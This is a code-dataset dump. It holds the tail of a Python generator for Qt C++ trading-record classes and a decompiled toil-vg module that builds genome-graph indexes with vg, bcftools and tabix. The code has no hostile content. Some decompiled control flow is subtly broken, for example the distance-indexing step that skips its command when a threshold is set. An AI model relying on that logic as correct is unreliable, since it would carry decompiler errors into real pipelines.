:\n field = line.split(',')\n trField = TrField(field[0], field[2], field[3], field[4])\n inblock.addField(trField)\n line = fp.readline().strip()\n return inblock\n\nclass TrHeaderMaker :\n dataTypeMap = {'char':'QString', 'long':'long', 'float':'float'}\n def __init__(self,headerInfo):\n self.headerInfo = headerInfo\n self.lines = []\n def make(self):\n self.__addPreprocessor()\n self.__addHeader()\n self.__addClassDef()\n self.__addProperty()\n self.__line('public:')\n self.__addConstructor()\n self.__addDestructor()\n self.__addPublicMethod()\n self.__line('private:')\n self.__addPrivateField()\n self.__line('};')\n self.__line('\\n#endif //'+self.headerInfo.trName.upper()+'ITEM')\n def __line(self, line):\n self.lines.append(line)\n def __addPreprocessor(self):\n self.__line('#ifndef '+self.headerInfo.trName.upper()+'ITEM')\n self.__line('#define '+self.headerInfo.trName.upper()+'ITEM')\n self.__line('')\n pass\n def __addHeader(self):\n self.__line('#include <QObject>')\n self.__line('#include <QString>')\n self.__line('#include <QDate>')\n self.__line('#include \"tr/tritem.h\"')\n #self.__line('#include \"tr/'+self.headerInfo.trName+'/'+self.headerInfo.trName+'.h')\n def __addClassDef(self):\n self.__line('class '+self.headerInfo.trName.title()+'Item : public TrItem')\n self.__line('{')\n self.__line('\\tQ_OBJECT')\n def __addProperty(self):\n for trField in self.headerInfo.fieldList:\n self.__line('\\tQ_PROPERTY('+self.__getDataType(trField)+' '+trField.fieldname+' MEMBER'+' _'+trField.fieldname+' READ '+trField.fieldname+' WRITE set'+trField.fieldname.title()+')\\t\\t//'+trField.hname)\n def __getDataType(self, field):\n if field.hname.endswith('시간') :\n return 'QTime'\n elif field.hname.endswith('일') or field.hname.endswith('일자') :\n return 'QDate'\n else :\n return self.dataTypeMap[field.datatype]\n def __addConstructor(self):\n self.__line('\\texplicit '+self.headerInfo.trName.title()+'Item(QObject *parent=0);')\n def __addDestructor(self):\n self.__line('\\t~'+self.headerInfo.trName.title()+'Item();')\n def __addPublicMethod(self):\n for trField in self.headerInfo.fieldList:\n self.__line('\\t'+self.__getDataType(trField)+' '+trField.fieldname+'() { return _'+trField.fieldname+'; }')\n self.__line('\\tvoid set'+trField.fieldname.title()+'('+self.__getDataType(trField)+' '+trField.fieldname+') { _'+trField.fieldname+' = '+trField.fieldname+'; }')\n def __addPrivateField(self):\n for trField in self.headerInfo.fieldList:\n self.__line('\\t'+self.__getDataType(trField)+' _'+trField.fieldname+';\\t\\t//'+trField.hname)\n\nclass TrCppMaker :\n dataTypeMap = {'char':'GET_STRING_FROM_FIELD', 'long':'GET_LONG_FROM_FIELD', 'float':'GET_FLOAT_FROM_FIELD'}\n def __init__(self, headerInfo):\n self.headerInfo = headerInfo\n self.lines = []\n def make(self):\n self.__addPreprocessor()\n self.__line('')\n self.__addConstructor()\n self.__line('')\n self.__definePropertyName()\n self.__line('}')\n self.__addDestructor()\n def __line(self, line):\n self.lines.append(line)\n def __addPreprocessor(self):\n self.__line('#include \"tr/'+self.headerInfo.trName+'/'+self.headerInfo.trName+'item.h\"')\n self.__line('#include <QDebug>')\n def __addConstructor(self):\n self.__line(self.headerInfo.trName.title()+'Item::'+self.headerInfo.trName.title()+'Item(QObject *parent):TrItem(parent)')\n self.__line('{')\n def __definePropertyName(self):\n for trField in self.headerInfo.fieldList:\n hname = trField.hname.split('(')[0]\n self.__line('\\tDEFINE_PROPERTY_NAME(\"'+hname+'\",\"'+trField.fieldname+'\");')\n def __addDestructor(self):\n self.__line(self.headerInfo.trName.title()+'Item::~'+self.headerInfo.trName.title()+'Item()')\n self.__line('{')\n self.__line('\\tqDebug()<<\"'+self.headerInfo.trName.title()+'Item destroyed\";')\n self.__line('}')\n\n def __getMacroType(self, field):\n if field.hname.endswith('시간') :\n return 'GET_TIME_FROM_FIELD'\n elif field.hname.endswith('일') or field.hname.endswith('일자') :\n return 'GET_DATE_FROM_FIELD'\n else :\n return self.dataTypeMap[field.datatype]\nif __name__ == '__main__' :\n trName = sys.argv[1]\n print(trName)\n parser = TrParser(trName)\n parser.parse()\n\n outblock = parser.getOutBlock1()\n if outblock is None :\n outblock = parser.getOutBlock()\n maker = TrHeaderMaker(outblock)\n maker.make()\n with open(trName+'item.h','w') as fp:\n for line in maker.lines:\n fp.write(line)\n fp.write('\\n')\n else :\n maker = TrHeaderMaker(outblock)\n maker.make()\n with open(trName+'item.h','w') as fp:\n for line in maker.lines:\n fp.write(line)\n fp.write('\\n')\n cppMaker = TrCppMaker(outblock)\n cppMaker.make()\n with open(trName+'item.cpp','w') as fp:\n for line in cppMaker.lines:\n fp.write(line)\n fp.write('\\n')\n\n","sub_path":"ResParser/parser/TrParser.py","file_name":"TrParser.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"318033062","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/toil_vg/vg_index.py\n# Compiled at: 2020-04-30 13:47:21\n# Size of source mod 2**32: 70274 bytes\n\"\"\"\nvg_index.py: index a graph so it can be mapped to\n\n\"\"\"\nimport argparse, sys, os, os.path, errno, random, subprocess, shutil, itertools, glob, tarfile, doctest, re, json, collections, time, timeit, distutils, logging, logging.handlers, struct, socket, threading, string, getpass, pdb, logging\nfrom math import ceil\nfrom subprocess import Popen, PIPE\nfrom toil.common import Toil\nfrom toil.job import Job\nfrom toil.realtimeLogger import RealtimeLogger\nfrom toil_vg.vg_common import *\nfrom toil_vg.context import Context, run_write_info_to_outstore\nlogger = logging.getLogger(__name__)\n\ndef index_subparser(parser):\n \"\"\"\n Create a subparser for indexing. Should pass in results of subparsers.add_parser()\n \"\"\"\n Job.Runner.addToilOptions(parser)\n parser.add_argument('out_store', help='output store. All output written here. Path specified using same syntax as toil jobStore')\n parser.add_argument('--graphs', nargs='+', default=[], type=make_url, help='input graph(s). one per chromosome (separated by space)')\n parser.add_argument('--chroms', nargs='+', help='name(s) of reference path in graph(s) (separated by space). If --graphs has multiple elements, must be same length/order as --chroms (not needed for xg_index)')\n parser.add_argument('--node_mapping', type=make_url, help='node mapping file required for gbwt pruning. Created by toil-vg construct (or vg ids -j)')\n parser.add_argument('--bwa_index_fasta', type=make_url, help='index the given FASTA for BWA MEM alignment')\n add_common_vg_parse_args(parser)\n index_toggle_parse_args(parser)\n index_parse_args(parser)\n add_container_tool_parse_args(parser)\n\n\ndef index_toggle_parse_args(parser):\n \"\"\"\n Common args we do not want to share with toil-vg run, and which toggle\n different index types on and off.\n \n Safe to use in toil-vg construct without having to import any files.\n \"\"\"\n parser.add_argument('--gcsa_index', dest='indexes', default=[], action='append_const', const='gcsa', help='Make a gcsa index for each output graph')\n parser.add_argument('--xg_index', dest='indexes', action='append_const', const='xg', help='Make an xg index for each output graph')\n parser.add_argument('--gbwt_index', dest='indexes', action='append_const', const='gbwt', help='Make a GBWT index alongside the xg index for each output graph')\n parser.add_argument('--snarls_index', dest='indexes', action='append_const', const='snarls', help='Make an snarls file for each output graph')\n parser.add_argument('--trivial_snarls_index', dest='indexes', action='append_const', const='trivial_snarls', help='Make a trivial-inclusive snarls file for each output graph')\n parser.add_argument('--distance_index', dest='indexes', action='append_const', const='distance', help='Make a (minimum) distance index for each output graph')\n parser.add_argument('--minimizer_index', dest='indexes', action='append_const', const='minimizer', help='Make a minimizer index for each output graph')\n parser.add_argument('--id_ranges_index', dest='indexes', action='append_const', const='id_ranges', help='Make chromosome id ranges tables (so toil-vg map can optionally split output by chromosome)')\n parser.add_argument('--alt_path_gam_index', dest='indexes', action='append_const', const='alt-gam', help='Save alt paths from vg into an indexed GAM')\n parser.add_argument('--xg_alts', dest='indexes', action='append_const', const='xg_alts', help='Include alt paths in xg index')\n parser.add_argument('--all_index', dest='indexes', action='store_const', const=[\n 'gcsa', 'xg', 'gbwt', 'snarls', 'trivial_snarls', 'distance', 'minimizer', 'id_ranges'],\n help='Equivalent to --gcsa_index --xg_index --gbwt_index --snarls_index --trivial_snarls_index --distance_index --minimizer_index --id_ranges_index')\n\n\ndef index_parse_args(parser):\n \"\"\"\n Indexing parameters which can be part of the main toil-vg run pipeline.\n \"\"\"\n parser.add_argument('--gcsa_index_cores', type=int, help='number of threads during the gcsa indexing step')\n parser.add_argument('--xg_index_cores', type=int, help='number of threads during the xg indexing step')\n parser.add_argument('--gbwt_index_cores', type=int, help='number of threads during the gbwt indexing step')\n parser.add_argument('--index_name', type=str, default='index', help='name of index files. <name>.xg, <name>.gcsa etc.')\n parser.add_argument('--gcsa_opts', type=str, help='Options to pass to gcsa indexing.')\n parser.add_argument('--minimizer_opts', type=str, help='Options to pass to minimizer indexing.')\n parser.add_argument('--vcf_phasing', nargs='+', type=make_url, default=[], help='Import phasing information from VCF(s) into xg (or GBWT with --gbwt_index)')\n parser.add_argument('--vcf_phasing_regions', nargs='+', default=[], help='Hint the relevant chrom:start-end regions to the GBWT indexer, for subregion graphs')\n parser.add_argument('--gbwt_input', type=make_url, help='Use given GBWT for GCSA2 pruning')\n parser.add_argument('--gbwt_prune', action='store_true', help='Use gbwt for gcsa pruning')\n parser.add_argument('--force_phasing', type=(lambda x: bool(distutils.util.strtobool(x))), default=None, help=\"If 'True', randomly phase unphased variants and discard unresolveable overlaps for GBWT\")\n\n\ndef validate_index_options(options):\n \"\"\"\n Validate the index options semantics enforced by index only.\n Throw an error if an invalid combination of options has been selected.\n \"\"\"\n if len(options.indexes) > 0:\n require(len(options.graphs) == 0 or options.chroms, '--chroms must be specified for --graphs')\n require(len(options.graphs) == 1 or len(options.chroms) == len(options.graphs), '--chroms and --graphs must have same number of arguments if more than one graph specified if doing anything but xg indexing')\n require(any([len(options.indexes) > 0,\n options.bwa_index_fasta]), 'one of --xg_index, --gcsa_index, --snarls_index, --trivial_snarls_index, --id_ranges_index, --gbwt_index, --minimizer_index, --distance_index, --all_index, --alt_path_gam_index or --bwa_index_fasta is required')\n require(not options.gbwt_prune or options.node_mapping, '--node_mapping required with --gbwt_prune')\n require('gbwt' not in options.indexes or not options.gbwt_input, 'only one of --gbwt_index and --gbwt_input can be used at a time')\n if options.gbwt_input:\n require(options.gbwt_prune == 'gbwt', '--gbwt_prune required with --gbwt_input')\n validate_shared_index_options(options)\n\n\ndef validate_shared_index_options(options):\n \"\"\"\n Validate the index options semantics enforced by index and construct.\n Throw an error if an invalid combination of options has been selected.\n \"\"\"\n if options.vcf_phasing:\n require(all([vcf.endswith('.vcf.gz') for vcf in options.vcf_phasing]), 'input phasing files must end with .vcf.gz')\n else:\n if 'gbwt' in options.indexes:\n require(len(options.vcf_phasing) > 0, 'generating a GBWT requires a VCF with phasing information')\n if options.gbwt_prune:\n require('gbwt' in options.indexes or options.gbwt_input, '--gbwt_index or --gbwt_input required for --gbwt_prune')\n if options.vcf_phasing_regions:\n require('gbwt' in options.indexes, 'cannot hint regions to GBWT indexer without building a GBWT index')\n\n\ndef run_gcsa_prune(job, context, graph_name, input_graph_id, gbwt_id, mapping_id, remove_paths=[]):\n \"\"\"\n Make a pruned graph using vg prune. If unfold_mapping_id is provided, use -u, else -r\n \"\"\"\n RealtimeLogger.info('Starting GCSA graph-pruning {}...'.format('using GBWT' if gbwt_id else ''))\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n restored_filename = os.path.join(work_dir, 'restored_{}'.format(graph_name))\n pruned_filename = os.path.join(work_dir, 'unfolded_{}'.format(graph_name))\n mapping_filename = os.path.join(work_dir, 'node_mapping')\n graph_filename = os.path.join(work_dir, graph_name)\n job.fileStore.readGlobalFile(input_graph_id, graph_filename)\n gbwt_filename = graph_filename + '.gbwt'\n if gbwt_id:\n job.fileStore.readGlobalFile(gbwt_id, gbwt_filename)\n if mapping_id:\n job.fileStore.readGlobalFile(mapping_id, mapping_filename, mutable=True)\n else:\n if remove_paths:\n remove_cmd = ['vg', 'mod', os.path.basename(graph_filename), '-I']\n for remove_path in remove_paths:\n remove_cmd += ['--retain-path', remove_path]\n\n cmd = [\n remove_cmd, ['vg', 'prune', '-']]\n else:\n cmd = [\n [\n 'vg', 'prune', os.path.basename(graph_filename)]]\n cmd[(-1)] += ['--threads', str(job.cores)]\n if context.config.prune_opts:\n cmd[(-1)] += context.config.prune_opts\n if gbwt_id:\n cmd[(-1)] += ['--append-mapping', '--mapping', os.path.basename(mapping_filename), '--unfold-paths']\n cmd[(-1)] += ['--gbwt-name', os.path.basename(gbwt_filename)]\n else:\n cmd[(-1)] += ['--restore-paths']\n with open(pruned_filename, 'wb') as (pruned_file):\n context.runner.call(job, cmd, work_dir=work_dir, outfile=pruned_file)\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished GCSA pruning. Process took {} seconds.'.format(run_time))\n pruned_graph_id = context.write_intermediate_file(job, pruned_filename)\n if gbwt_id:\n mapping_id = context.write_intermediate_file(job, mapping_filename)\n else:\n mapping_id = None\n return (\n pruned_graph_id, mapping_id)\n\n\ndef run_gcsa_prep(job, context, input_graph_ids, graph_names, index_name, chroms, chrom_gbwt_ids, node_mapping_id, skip_pruning=False, remove_paths=[]):\n \"\"\"\n Do all the preprocessing for gcsa indexing (pruning)\n Then launch the indexing as follow-on\n \"\"\"\n RealtimeLogger.info('Starting gcsa preprocessing...')\n start_time = timeit.default_timer()\n if chrom_gbwt_ids:\n if not len(chrom_gbwt_ids) <= len(input_graph_ids):\n raise AssertionError\n child_job = Job()\n job.addChild(child_job)\n prune_root_job = Job()\n child_job.addChild(prune_root_job)\n prune_jobs = []\n mapping_ids = [node_mapping_id] if (node_mapping_id and chrom_gbwt_ids) else ([])\n prune_ids = []\n for graph_i, input_graph_id in enumerate(input_graph_ids):\n gbwt_id = chrom_gbwt_ids[graph_i] if chrom_gbwt_ids else None\n if mapping_ids:\n mapping_id = mapping_ids[(-1)] if gbwt_id else None\n add_fn = prune_jobs[(-1)].addFollowOnJobFn if (prune_jobs and gbwt_id) else (prune_root_job.addChildJobFn)\n prune_job = skip_pruning or add_fn(run_gcsa_prune, context, (graph_names[graph_i]), input_graph_id,\n gbwt_id, mapping_id, remove_paths=remove_paths,\n cores=(context.config.prune_cores),\n memory=(context.config.prune_mem),\n disk=(context.config.prune_disk))\n prune_id = prune_job.rv(0)\n if gbwt_id:\n prune_jobs.append(prune_job)\n mapping_ids.append(prune_job.rv(1))\n else:\n prune_id = input_graph_id\n prune_ids.append(prune_id)\n\n return child_job.addFollowOnJobFn(run_gcsa_indexing, context, prune_ids, graph_names,\n index_name, (mapping_ids[(-1)] if mapping_ids else None), cores=(context.config.gcsa_index_cores),\n memory=(context.config.gcsa_index_mem),\n disk=(context.config.gcsa_index_disk),\n preemptable=(context.config.gcsa_index_preemptable)).rv()\n\n\ndef run_gcsa_indexing(job, context, prune_ids, graph_names, index_name, mapping_id):\n \"\"\"\n Make the gcsa2 index. Return its store id\n \"\"\"\n RealtimeLogger.info('Starting gcsa indexing...')\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n index_temp_dir = os.path.join(work_dir, 'index-temp')\n os.makedirs(index_temp_dir)\n prune_filenames = []\n for graph_i, prune_id in enumerate(prune_ids):\n prune_filename = os.path.join(work_dir, remove_ext(os.path.basename(graph_names[graph_i]), '.vg') + '.prune.vg')\n job.fileStore.readGlobalFile(prune_id, prune_filename)\n prune_filenames.append(prune_filename)\n\n mapping_filename = None\n if mapping_id:\n mapping_filename = os.path.join(work_dir, 'node_mapping')\n job.fileStore.readGlobalFile(mapping_id, mapping_filename)\n gcsa_filename = '{}.gcsa'.format(index_name)\n command = [\n 'vg', 'index', '-g', os.path.basename(gcsa_filename)] + context.config.gcsa_opts\n command += ['--threads', str(job.cores)]\n command += ['--temp-dir', os.path.join('.', os.path.basename(index_temp_dir))]\n if mapping_id:\n command += ['--mapping', os.path.basename(mapping_filename)]\n for prune_filename in prune_filenames:\n command += [os.path.basename(prune_filename)]\n\n try:\n context.runner.call(job, command, work_dir=work_dir)\n except:\n logging.error('GCSA indexing failed. Dumping files.')\n for prune_filename in prune_filenames:\n context.write_output_file(job, prune_filename)\n\n if mapping_id:\n context.write_output_file(job, mapping_filename)\n raise\n\n gcsa_file_id = context.write_output_file(job, os.path.join(work_dir, gcsa_filename))\n lcp_file_id = context.write_output_file(job, os.path.join(work_dir, gcsa_filename) + '.lcp')\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished GCSA index. Process took {} seconds.'.format(run_time))\n return (\n gcsa_file_id, lcp_file_id)\n\n\ndef run_concat_vcfs(job, context, vcf_ids, tbi_ids):\n \"\"\"\n concatenate a list of vcfs. we do this because vg index -v only takes one vcf, and\n we may be working with a set of chromosome vcfs. \n \"\"\"\n work_dir = job.fileStore.getLocalTempDir()\n vcf_names = ['chrom_{}.vcf.gz'.format(i) for i in range(len(vcf_ids))]\n out_name = 'genome.vcf.gz'\n for vcf_id, tbi_id, vcf_name in zip(vcf_ids, tbi_ids, vcf_names):\n job.fileStore.readGlobalFile(vcf_id, os.path.join(work_dir, vcf_name))\n job.fileStore.readGlobalFile(tbi_id, os.path.join(work_dir, vcf_name + '.tbi'))\n\n cmd = ['bcftools', 'concat'] + [vcf_name for vcf_name in vcf_names] + ['-O', 'z']\n with open(os.path.join(work_dir, out_name), 'wb') as (out_file):\n context.runner.call(job, cmd, work_dir=work_dir, outfile=out_file)\n cmd = ['tabix', '-f', '-p', 'vcf', out_name]\n context.runner.call(job, cmd, work_dir=work_dir)\n out_vcf_id = context.write_intermediate_file(job, os.path.join(work_dir, out_name))\n out_tbi_id = context.write_intermediate_file(job, os.path.join(work_dir, out_name + '.tbi'))\n return (\n out_vcf_id, out_tbi_id)\n\n\ndef run_combine_graphs(job, context, inputGraphFileIDs, graph_names, index_name, intermediate=False):\n \"\"\"\n Merge a list of graph files. We do this because the haplotype index vg index\n produces can only be built for a single graph.\n \n Takes the file IDs to concatenate, the human-readable names for those\n files, and the base name of the index we are working on (which is used to\n derive the graph output name).\n \n Graph files to concatenate must already be in the same ID space.\n \n If intermediate is set to true, the concatenated graph is not written to\n the output store.\n \n \"\"\"\n work_dir = job.fileStore.getLocalTempDir()\n RealtimeLogger.info('Starting VG graph merge...')\n start_time = timeit.default_timer()\n filenames = []\n for number, in_id in enumerate(inputGraphFileIDs):\n filename = '{}.vg'.format(number)\n full_filename = os.path.join(work_dir, filename)\n got_filename = job.fileStore.readGlobalFile(in_id, full_filename)\n RealtimeLogger.info('Downloaded graph ID {} to {} (which should be {}) for joining'.format(in_id, got_filename, full_filename))\n filenames.append(filename)\n\n concatenated_basename = '{}.cat.vg'.format(index_name)\n cmd = [\n 'vg', 'combine'] + filenames\n try:\n with open(os.path.join(work_dir, concatenated_basename), 'wb') as (out_file):\n context.runner.call(job, cmd, work_dir=work_dir, outfile=out_file)\n except:\n logging.error('Graph merging failed. Dumping files.')\n for graph_filename in filenames:\n context.write_output_file(job, os.path.join(work_dir, graph_filename))\n\n raise\n\n concatenated_file_id = None\n if intermediate:\n concatenated_file_id = job.fileStore.writeGlobalFile(os.path.join(work_dir, concatenated_basename))\n else:\n concatenated_file_id = context.write_output_file(job, os.path.join(work_dir, concatenated_basename))\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished VG graph merge. Process took {} seconds.'.format(run_time))\n return (\n concatenated_file_id, concatenated_basename)\n\n\ndef run_xg_indexing(job, context, inputGraphFileIDs, graph_names, index_name, vcf_phasing_file_id=None, tbi_phasing_file_id=None, make_gbwt=False, gbwt_regions=[], intermediate=False, include_alt_paths=False):\n \"\"\"\n\n Make the xg index and optional GBWT haplotype index.\n \n Saves the xg in the outstore as <index_name>.xg and the GBWT, if requested,\n as <index_name>.gbwt.\n \n If gbwt_regions is specified, it is a list of chrom:start-end region\n specifiers, restricting, on each specified chromosome, the region of the\n VCF that GBWT indexing will examine.\n \n if make_gbwt is specified *and* a phasing VCF is specified, the GBWT will\n be generated. Otherwise it won't be (for example, for single-contig graphs\n where no VCF is available).\n \n Return a tuple of file IDs, (xg_id, gbwt_id, thread_db_id). The GBWT ID\n will be None if no GBWT is generated. The thread DB ID will be None if no\n thread DB is generated.\n \n If intermediate is set to true, do not save the produced files to the\n output store.\n \"\"\"\n RealtimeLogger.info('Starting xg indexing...')\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n index_temp_dir = os.path.join(work_dir, 'index-temp')\n os.makedirs(index_temp_dir)\n RealtimeLogger.info('inputGraphFileIDs: {}'.format(str(inputGraphFileIDs)))\n RealtimeLogger.info('graph_names: {}'.format(str(graph_names)))\n graph_filenames = []\n for i, graph_id in enumerate(inputGraphFileIDs):\n graph_filename = os.path.join(work_dir, graph_names[i])\n job.fileStore.readGlobalFile(graph_id, graph_filename)\n graph_filenames.append(os.path.basename(graph_filename))\n\n gbwt_filename = os.path.join(work_dir, '{}.gbwt'.format(index_name))\n thread_db_filename = os.path.join(work_dir, '{}.threads'.format(index_name))\n if vcf_phasing_file_id:\n phasing_file = os.path.join(work_dir, 'phasing.{}.vcf.gz'.format(index_name))\n job.fileStore.readGlobalFile(vcf_phasing_file_id, phasing_file)\n job.fileStore.readGlobalFile(tbi_phasing_file_id, phasing_file + '.tbi')\n phasing_opts = ['-v', os.path.basename(phasing_file)]\n if make_gbwt:\n phasing_opts += ['--gbwt-name', os.path.basename(gbwt_filename)]\n for region in gbwt_regions:\n phasing_opts += ['--region', region]\n\n if context.config.force_phasing:\n phasing_opts += ['--force-phasing', '--discard-overlaps']\n else:\n phasing_opts = []\n xg_filename = '{}.xg'.format(index_name)\n RealtimeLogger.info('XG Indexing {}'.format(str(graph_filenames)))\n command = [\n 'vg', 'index', '--threads', str(job.cores), '--xg-name', os.path.basename(xg_filename)]\n command += phasing_opts + graph_filenames\n command += ['--temp-dir', os.path.join('.', os.path.basename(index_temp_dir))]\n if include_alt_paths:\n command += ['--xg-alts']\n try:\n context.runner.call(job, command, work_dir=work_dir)\n except:\n logging.error('XG indexing failed. Dumping files.')\n for graph_filename in graph_filenames:\n context.write_output_file(job, os.path.join(work_dir, graph_filename))\n\n if vcf_phasing_file_id:\n context.write_output_file(job, phasing_file)\n context.write_output_file(job, phasing_file + '.tbi')\n raise\n\n write_function = context.write_intermediate_file if intermediate else context.write_output_file\n xg_file_id = write_function(job, os.path.join(work_dir, xg_filename))\n gbwt_file_id = None\n thread_db_file_id = None\n if make_gbwt:\n if vcf_phasing_file_id:\n gbwt_file_id = write_function(job, gbwt_filename)\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished XG index. Process took {} seconds.'.format(run_time))\n return (\n xg_file_id, gbwt_file_id)\n\n\ndef run_cat_xg_indexing(job, context, inputGraphFileIDs, graph_names, index_name, vcf_phasing_file_id=None, tbi_phasing_file_id=None, make_gbwt=False, gbwt_regions=[], intermediate=False, intermediate_cat=True, include_alt_paths=False):\n \"\"\"\n Encapsulates run_combine_graphs and run_xg_indexing job functions.\n Can be used for ease of programming in job functions that require running only\n during runs of the run_xg_indexing job function.\n\n Note: the resources assigned to indexing come from those assigned to this parent job\n (as they can get toggled between xg and gbwt modes in the caller)\n \n If intermediate is set to True, do not save the final .xg to the output store.\n \n If intermediate_cat is False and intermediate is also False, save the .cat.vg to the output store.\n \"\"\"\n child_job = Job()\n job.addChild(child_job)\n vg_concat_job = child_job.addChildJobFn(run_combine_graphs, context, inputGraphFileIDs, graph_names,\n index_name, intermediate=(intermediate or intermediate_cat))\n return child_job.addFollowOnJobFn(run_xg_indexing, context,\n [vg_concat_job.rv(0)], [\n vg_concat_job.rv(1)],\n index_name, vcf_phasing_file_id,\n tbi_phasing_file_id, make_gbwt=make_gbwt,\n gbwt_regions=gbwt_regions,\n intermediate=intermediate,\n include_alt_paths=include_alt_paths,\n cores=(job.cores),\n memory=(job.memory),\n disk=(job.disk),\n preemptable=(job.preemptable)).rv()\n\n\ndef run_snarl_indexing(job, context, inputGraphFileIDs, graph_names, index_name=None, include_trivial=False):\n \"\"\"\n Compute the snarls of the graph.\n \n Saves the snarls file in the outstore as <index_name>.snarls or\n <index_name>.trivial.snarls, as appropriate, unless index_name is None.\n \n If incluse_trivial is set to true, include trivial snarls, which mpmap\n cannot yet filter out itself for snarl cutting, but which are needed for\n distance indexing.\n \n Return the file ID of the snarls file.\n \"\"\"\n assert len(inputGraphFileIDs) == len(graph_names)\n extension = '.trivial.snarls' if include_trivial else '.snarls'\n if len(inputGraphFileIDs) > 1:\n RealtimeLogger.info('Breaking up snarl computation for {}'.format(str(graph_names)))\n snarl_jobs = []\n for file_id, file_name in zip(inputGraphFileIDs, graph_names):\n snarl_jobs.append(job.addChildJobFn(run_snarl_indexing, context, [file_id], [file_name], include_trivial=include_trivial,\n cores=(context.config.snarl_index_cores),\n memory=(context.config.snarl_index_mem),\n disk=(context.config.snarl_index_disk)))\n\n concat_job = snarl_jobs[0].addFollowOnJobFn(run_concat_files, context, [job.rv() for job in snarl_jobs], (index_name + extension if index_name is not None else None),\n cores=(context.config.snarl_index_cores),\n memory=(context.config.snarl_index_mem),\n disk=(context.config.snarl_index_disk))\n for i in range(1, len(snarl_jobs)):\n snarl_jobs[i].addFollowOn(concat_job)\n\n return concat_job.rv()\n else:\n RealtimeLogger.info('Starting snarl computation {} trivial snarls...'.format('with' if include_trivial else 'without'))\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n graph_id = inputGraphFileIDs[0]\n graph_filename = graph_names[0]\n job.fileStore.readGlobalFile(graph_id, os.path.join(work_dir, graph_filename))\n snarl_filename = os.path.join(work_dir, (index_name if index_name is not None else 'part') + extension)\n RealtimeLogger.info('Computing snarls for {}'.format(graph_filename))\n cmd = [\n 'vg', 'snarls', graph_filename]\n if include_trivial:\n cmd += ['--include-trivial']\n with open(snarl_filename, 'wb') as (snarl_file):\n try:\n context.runner.call(job, cmd, work_dir=work_dir, outfile=snarl_file)\n except:\n logging.error('Snarl indexing failed. Dumping files.')\n context.write_output_file(job, os.path.join(work_dir, graph_filename))\n raise\n\n if index_name is not None:\n snarl_file_id = context.write_output_file(job, snarl_filename)\n else:\n snarl_file_id = context.write_intermediate_file(job, snarl_filename)\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished computing snarls. Process took {} seconds.'.format(run_time))\n return snarl_file_id\n\n\ndef run_distance_indexing(job, context, input_xg_id, input_trivial_snarls_id, index_name=None, max_distance_threshold=0):\n \"\"\"\n Make a distance index from the given XG index and the given snarls file,\n including the trivial snarls.\n \n TODO: also support a single VG file and snarls.\n \n If index_name is not None, saves it as <index_name>.dist to the output\n store.\n \n If max_distance_threshold is strictly positive, also includes a max\n distance index with the given limit. By default includes only a min\n distance index.\n \n Returns the file ID of the resulting distance index.\n \"\"\"\n RealtimeLogger.info('Starting distance indexing...')\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n xg_filename = os.path.join(work_dir, 'graph.xg')\n job.fileStore.readGlobalFile(input_xg_id, xg_filename)\n trivial_snarls_filename = os.path.join(work_dir, 'graph.trivial.snarls')\n job.fileStore.readGlobalFile(input_trivial_snarls_id, trivial_snarls_filename)\n distance_filename = os.path.join(work_dir, (index_name if index_name is not None else 'graph') + '.dist')\n cmd = [\n 'vg', 'index', '-t', max(1, int(job.cores)), '-j', os.path.basename(distance_filename),\n '-x', os.path.basename(xg_filename), '-s', os.path.basename(trivial_snarls_filename)]\n if max_distance_threshold > 0:\n cmd.append('-w')\n cmd.append(str(max_distance_threshold))\n else:\n try:\n context.runner.call(job, cmd, work_dir=work_dir)\n except:\n logging.error('Distance indexing failed. Dumping files.')\n context.write_output_file(job, xg_filename)\n context.write_output_file(job, trivial_snarls_filename)\n if os.path.exists(distance_filename):\n context.write_output_file(job, distance_filename)\n raise\n\n if index_name is not None:\n distance_file_id = context.write_output_file(job, distance_filename)\n else:\n distance_file_id = context.write_intermediate_file(job, distance_filename)\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n RealtimeLogger.info('Finished computing distance index. Process took {} seconds.'.format(run_time))\n return distance_file_id\n\n\ndef run_minimizer_indexing(job, context, input_xg_id, input_gbwt_id, index_name=None):\n \"\"\"\n Make a minimizer index file for the graph and haplotypes described by the\n given input XG and GBWT indexes.\n \n If index_name is not None, saves it as <index_name>.min to the output\n store.\n \n Returns the file ID of the resulting minimizer index.\n \"\"\"\n RealtimeLogger.info('Starting minimizer indexing...')\n start_time = timeit.default_timer()\n work_dir = job.fileStore.getLocalTempDir()\n assert input_xg_id is not None\n if not input_gbwt_id is not None:\n raise AssertionError\n else:\n xg_filename = os.path.join(work_dir, 'graph.xg')\n job.fileStore.readGlobalFile(input_xg_id, xg_filename)\n gbwt_filename = os.path.join(work_dir, 'graph.gbwt')\n job.fileStore.readGlobalFile(input_gbwt_id, gbwt_filename)\n minimizer_filename = os.path.join(work_dir, (index_name if index_name is not None else 'graph') + '.min')\n cmd = [\n 'vg', 'minimizer', '-t', max(1, int(job.cores)), '-i', os.path.basename(minimizer_filename), '-g', os.path.basename(gbwt_filename)] + context.config.minimizer_opts + [os.path.basename(xg_filename)]\n try:\n context.runner.call(job, cmd, work_dir=work_dir)\n except:\n logging.error('Minimizer indexing failed. Dumping files.')\n context.write_output_file(job, xg_filename)\n context.write_output_file(job, gbwt_filename)\n context.write_output_file(job, minimizer_filename)\n raise\n\n if index_name is not None:\n minimizer_file_id = context.write_output_file(job, minimizer_filename)\n else:\n minimizer_file_id = context.write_intermediate_file(job, minimizer_filename)\n end_time = timeit.default_timer()\n run_time = end_time - start_time\n 